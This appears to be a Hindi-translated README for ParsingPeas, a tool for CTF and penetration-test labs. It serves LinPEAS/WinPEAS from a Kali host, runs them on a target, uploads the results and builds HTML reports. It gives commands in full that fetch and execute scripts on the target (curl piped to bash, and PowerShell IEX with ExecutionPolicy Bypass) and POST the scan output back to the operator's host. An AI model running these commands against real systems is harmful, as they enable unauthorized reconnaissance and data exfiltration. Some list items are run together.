
PEAS आउटपुट के लिए HTML पार्सर अतिरिक्त सुविधाओं के साथ
स्वचालित PEASS संग्रह + CTF और लैब विशेषाधिकार-वृद्धि कार्य के लिए एक साफ, पोर्टेबल HTML रिपोर्ट।
लक्ष्य पर एक कमांड चलाएँ। ParsingPeas आपके Kali होस्ट से LinPEAS/WinPEAS खींचता है, स्कैन चलाता है, आउटपुट वापस भेजता है, और इसे एक एकल स्व-निहित HTML रिपोर्ट में बदल देता है जिसे आप पढ़ सकते हैं, खोज सकते हैं, ट्रायज कर सकते हैं और रख सकते हैं — कोई मैन्युअल फ़ाइल स्थानांतरण नहीं, लक्ष्य पर इंटरनेट की आवश्यकता नहीं।
रिपोर्ट सारांश — LinPEAS की अपनी श्रेणियों द्वारा समूहित अनुभाग, फ़ाइंडिंग डॉट्स और फ़ाइंडिंग बार के साथ:

केवल फ़ाइंडिंग — एक क्लिक रिपोर्ट और साइडबार को महत्वपूर्ण/उच्च हिट वाले अनुभागों तक फ़िल्टर करता है:

पूर्ण टर्मिनल आउटपुट — पूर्ण, रंग-युक्त स्कैन; Ctrl-F से खोजने योग्य:

कच्चा PEASS आउटपुट स्क्रॉलिंग टर्मिनल टेक्स्ट की एक दीवार है जो आपके शेल के मरते ही गायब हो जाता है। ParsingPeas:
scp नहीं, खुद linpeas होस्ट करने की आवश्यकता नहीं, आउटपुट को वापस Kali में कॉपी-पेस्ट करने की आवश्यकता नहीं।.html फ़ाइल है जिसे आप बॉक्स से कॉपी कर सकते हैं, संग्रहीत कर सकते हैं, या डबल-क्लिक करके ऑफ़लाइन खोल सकते हैं।यह प्रस्तुति + लॉजिस्टिक्स है, एक एक्सप्लॉइट इंजन नहीं: यह PEASS के अपने रंग और फ़ाइंडिंग को संरक्षित करता है, उन पर दूसरा अनुमान लगाने के बजाय।
file:// के माध्यम से खुलता है।N critical / N high चिप्स जो फ़्लैग किए गए अनुभागों के बीच कूदते हैं, साथ ही एक रंग लीजेंड।bash) और WinPEAS (PowerShell)।git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh # downloads LinPEAS + WinPEAS into scripts/
pip3 install -r requirements.txt
python3 receiver.py # serves on http://0.0.0.0:8005
receiver.py को चलने दें। वह IP पता करें जिस पर लक्ष्य आप तक पहुंचेगा:
tun0 पता — ip -4 addr show tun0Linux/Unix (curl का उपयोग करता है, wget पर गिरता है):
curl -sSL http://YOUR_KALI_IP:8005/get-script | bash
Windows (PowerShell / रिवर्स शेल):
powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8005/get-script.ps1')"
वह वन-लाइनर चुनें जो लक्ष्य OS से मेल खाता हो — Linux LinPEAS परोसता है, Windows WinPEAS परोसता है।
रिपोर्टें आपके Kali होस्ट पर ./reports/ में उत्पन्न होती हैं। या तो:
http://YOUR_KALI_IP:8005 पर इंडेक्स ब्राउज़ करें और एक रिपोर्ट पर क्लिक करें, याxdg-open ./reports/report_<host>_<timestamp>.html
उस एकल .html को जहाँ चाहें कॉपी करें; यह अपने आप काम करता है।
Target → downloads wrapper from Kali → runs PEASS → POSTs output → Kali parses → self-contained HTML report
लक्ष्य को कभी इंटरनेट की आवश्यकता नहीं होती — रैपर और PEASS बाइनरी सभी आपके होस्ट से परोसे जाते हैं।
यदि वन-लाइनर विफल हो जाए, तो इसे मैन्युअल रूप से करें।
Linux:
# On target
curl http://KALI_IP:8005/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt
# Send back
curl -X POST -H "X-Hostname: $(hostname)" -H "X-Scan-Type: linpeas" \
--data-binary @/tmp/out.txt http://KALI_IP:8005/upload
Windows (PowerShell):
Invoke-WebRequest -Uri http://KALI_IP:8005/get-winpeas -OutFile $env:TEMP\wp.exe
& "$env:TEMP\wp.exe" > $env:TEMP\out.txt
Invoke-WebRequest -Uri http://KALI_IP:8005/upload -Method POST `
-Headers @{"X-Hostname"=$env:COMPUTERNAME; "X-Scan-Type"="winpeas"} `
-InFile $env:TEMP\out.txt
आपके पास पहले से मौजूद PEASS डंप को पार्स करें:
python3 parser.py /path/to/peas_output.txt # writes an HTML report to ./reports/
receiver.py के शीर्ष को संपादित करें:
curl http://KALI_IP:8005/health चलाएँ; फ़ायरवॉल खोलने के लिए sudo ufw allow 8005/tcp चलाएँ।/get-linpeas पर 404? PEASS बाइनरी लाने के लिए ./setup.sh चलाएँ।⚠️ केवल अधिकृत पैठ परीक्षण, CTF और प्रयोगशाला उपयोग के लिए।
PEASS-ng पर निर्मित, जो @carlospolop द्वारा। ParsingPeas केवल इसके आउटपुट को एकत्र और प्रस्तुत करता है।
MIT लाइसेंस · योगदान का स्वागत है
| सेटिंग | डिफ़ॉल्ट | नोट्स |
|---|
| Port | 8005 | app.run(... port=...) लाइन बदलें |
OUTPUT_DIR | ./received_outputs | कच्चे अपलोड किए गए स्कैन |
REPORTS_DIR | ./reports | उत्पन्न HTML रिपोर्टें |
SCRIPTS_DIR | ./scripts | LinPEAS/WinPEAS बाइनरी |
MAX_UPLOAD_SIZE | 10 MB | लागू — बड़े अपलोड को HTTP 413 मिलता है |